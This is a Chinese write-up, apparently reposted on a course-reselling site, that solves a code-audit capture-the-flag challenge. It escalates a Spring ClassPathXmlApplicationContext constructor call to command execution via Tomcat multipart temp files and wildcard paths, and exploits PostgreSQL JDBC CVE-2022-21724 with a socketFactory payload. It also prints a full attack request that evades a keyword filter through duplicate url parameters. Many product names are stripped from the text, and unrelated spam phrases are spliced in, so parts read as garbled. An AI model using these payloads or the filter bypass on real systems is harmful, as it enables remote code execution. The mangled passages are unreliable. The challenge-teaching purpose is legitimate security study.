我在《》末尾留了一个问题,也是「代码审计知识星球[2]」里发布的 Code- 2025小挑战的核心考点:,代码如下:

@Controller
public class IndexController {
    @ResponseBody
    @RequestMapping("/index")
    public String index(String name, String arg) throws Exception {
        Class clazz = Class.forName(name);
        Constructor constructor = clazz.getConstructor(String.class);
        Object instance = constructor.newInstance(arg);
        return "done";
    }
}

用户可以输入一个类名和一个字符串类型的参数,并执行这个类的构造函数。我们很容易想到下面这两个类:

这两个类是中用于加载XML格式配置文件的类,由于其中可以实例化对象、调用静态方法,通常会作为漏洞利用的一个重要利用链。不过这两个类只能加载URL,无法直接将XML传入,我们通常认为需要加载远程XML文件,或者先通过本地写文件才能利用。

事实真的如此吗?

我们可以跟进一下这个类的构造函数,看看它内部究竟做了些什么。

0x01 URL解析过程

所有的构造函数最后都会进入下面这个构造函数中:

public ClassPathXmlApplicationContext(
        String[] configLocations, boolean refresh, @Nullable ApplicationContext parent)

        throws BeansException {

    super(parent);
    setConfigLocations(configLocations);
    if (refresh) {
        refresh();
    }
}

两个函数比较重要,()和()。前者用于将URL设置到当前对象中,后者用于刷新配置。也就是说,最后执行任意命令,一定是在()函数中。

如果跟进(),最后会进入org..util.elper#这个函数中:

如果你调试过,你会注意到这个${,很明显这里对路径进行了一次环境变量的解析。不过很可惜的是,这里是使用了简单的字符串替换,并不涉及到EL或SpEL表达式的执行。

继续单步调试进入()函数中,我们最终会进入另一个很重要的函数org..core.io..#:

public Resource[] getResources(String locationPattern) throws IOException {
    Assert.notNull(locationPattern, "Location pattern must not be null");
    if (locationPattern.startsWith("classpath*:")) {
        return this.getPathMatcher().isPattern(locationPattern.substring("classpath*:".length())) ? this.findPathMatchingResources(locationPattern) : this.findAllClassPathResources(locationPattern.substring("classpath*:".length()));
    } else {
        int prefixEnd = locationPattern.startsWith("war:") ? locationPattern.indexOf("*/") + 1 : locationPattern.indexOf(58) + 1;
        return this.getPathMatcher().isPattern(locationPattern.substring(prefixEnd)) ? this.findPathMatchingResources(locationPattern) : new Resource[]{this.getResourceLoader().getResource(locationPattern)};
    }
}

是用户传入的url,在处理路径前会经过()的判断,如果返回是true,则会进入this.urces()的处理,否则就直接读取资源。

查看方法可以发现,“”指的其实就是通配符:

public boolean isPattern(@Nullable String path) {
    if (path == null) {
        return false;
    } else {
        boolean uriVar false;

        for(int i=0; i < path.length(); ++i) {
            char c= path.charAt(i);
            if (c == '*' || c == '?') {
                return true;
            }

            if (c == '{') {
                uriVar = true;
            } elseif (c == '}' && uriVar) {
                return true;
            }
        }

        return false;
    }
}

也就是说,url中是支持使用通配符的。

那么这个问题就比较有意思了。还记得我在《无字母数字之提高篇[3]》我提到了PHP中的一个利用技巧:PHP上传文件时,文件将被保存在一个随机字符串命名的临时文件中。我们最后使用通配符的方式构造了一个,?>,然后通过上传来利用:

也有类似的行为,当其接收到/form-data的请求时,会将每个块依次保存在临时目录下,文件名为.tmp。其中,是和当前进程唯一相关的一个uuid,是一个自增的序列号。

我们通过 也可以看到这个临时文件创建和销毁的过程:

url什么意思_意思的拼音_意思女人隆胸手术

与PHP唯一不同的是,不是只把文件上传文件内容保存在临时文件中,而是将任意的块都保存在临时文件。所以,我们可以直接参考PHP中的方法,通过一个数据包+通配符来加载临时文件,成功执行任意命令:

0x02 优化POC

不过,上面这个请求还有些不完美,对于不同方式启动的,这个临时文件的位置不尽相同。阅读代码我们可以发现,这个临时文件所在的位置应该位于安装目录下的work目录下。

但对于单文件来说,此时是嵌入式的并不存在安装目录,所以此时临时文件将会存储在系统临时目录下的一个子目录中的work目录下,比如上面图中的C:Users\LocalTemp.8080.。

那么我们是否可以写出一个适配所有环境的?

还记得前面说的()函数吗,传入的URL将会渲染一次环境变量,${.home}这个环境变量就指向的安装目录,直接使用这个变量就可以避免环境差异导致的问题:

另外,我们可以借助来生成一个支持回显的XML :

成功返回命令执行结果:

0x03 知识星球小挑战预期解

回到我在知识星球里发布的小挑战,由于题目完全开源url什么意思,很容易发现这是一个JDBC注入的问题,但通过 的方式限制的发起连接:

@Controller
publicclass IndexController {
    @ResponseBody
    @RequestMapping("/jdbc")
    public String jdbc(String url) {
        try {
            System.setSecurityManager(new ForbiddenNetworkAccessSecurityManager());
            DriverManager.getConnection(url);
        } catch (Exception e) {
            StringWriter sw new StringWriter();
            e.printStackTrace(new PrintWriter(sw));
            return sw.toString();
        }
        return "done.";
    }
}

查看pom.xml可以看到只安装了org.:依赖,且版本号在CVE-2022-21724漏洞影响的范围内。

我们在互联网上[5]可以直接找到利用的POC:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

就是利用org....这个类进行攻击,所以,直接使用本文介绍的方法构造数据包发送:

没有成功,目标返回了403,错误信息是url is not 。

搜索这个错误信息会发现,原来是有一个全局的限制了url参数中的关键字“jdbc:”和“”不允许同时出现:

public class SecurityFilter extends OncePerRequestFilter implements Order {
    @Override
    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
        String url = request.getParameter("url");
        if (url != null) {
            if (url.toLowerCase().contains("jdbc:postgresql") && url.toLowerCase().contains("socketFactory".toLowerCase())) {
                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
                response.getWriter().write("url is not security");
                return;
            }
        }
        filterChain.doFilter(request, response);
    }

    // ...
}

解决这个问题的方法是使用差异。在中,获取url参数的方法是.("url"),当一次请求中有多个参数名字都是url时,它获取到的结果是第一个url的值。

而在的中获取到的url将是所有url参数以逗号,作为连接符拼接成的完整字符串:

所以,通过将url分拆成多个部分,我们就可以绕过对于URL的检测:

POST /jdbc?url=jdbc:postgresql://1:2/?a=&url=%26socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext%26socketFactoryArg=file:/%24%7bcatalina.home%7d/**/*.tmp

成功执行任意命令:

0x04 知识星球小挑战非预期解

除了本文介绍的预期解以外,代码审计星球的@ 师傅向我提交了他利用ascii jar的解法,我也一并介绍一下。

psql的CVE-2022-21724漏洞,除了利用来执行命令以外,还可以利用参数来写入任意文件。但参数写入的文件前后都会包含脏字符:

如果当前环境是一个普通url什么意思,这里就可以直接写jsp了,但是我们的环境是,写文件后仍然需要通过来利用。加载XML文件的时候不能够有脏字符,所以普通日志文件无法直接加载。

要绕过这个脏字符的限制,我们可以将真正要加载的XML文件打包并写入成一个zip格式的压缩包,然后使用jar:/path/to/.zip!/META-INF//poc.xml这样的URL进行加载,此时就可以避免脏字符的干扰。

我曾在代码审计星球发过几个帖子介绍了如何构造一个前后都包含脏字符但又合法的jar包:

不过由于org..util.#解析JDBC URL的时候遇到非ascii字节会报错,这里还需要再进行一遍转换。@ 利用@c0ny1 师傅写的脚本ascii-jar[6],生成只包含ascii字符的jar包,再利用[7]修复一下即可成功完成利用。

除了@ 的非预期解法以外,@你开心就好 师傅利用爆破fd文件的方式也成功拿到shell,也算一种非预期解法。

0x05 致谢

【代码审计星球】这次Code- 2025顺利完成且收集到了多个同学的反馈,包括预期和非预期解答,也让我学到了很多新知识。我分享一下时间线,包括所有参与过出题、解题或提供思路的同学:

这篇文章中提到的各种技巧,包括预期、非预期解法,由所有的上述同学贡献而成,尤其是@Ar3h。由于本文集成了数人的研究成果,可能有所遗漏,或者我理解不到位导致的错误,存在问题的地方还请向我反馈。

引用链接

[1]Java利用无外网(上):从聊聊反序列化:

[2]代码审计知识星球:

[3]无字母数字之提高篇:#

[4]Java :

[5]互联网上:

[6]ascii-jar:

[7]:


限时特惠:
本站持续每日更新海量各大内部创业课程,一年会员仅需要98元,全站资源免费下载
点击查看详情

站长微信:Jiucxh

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注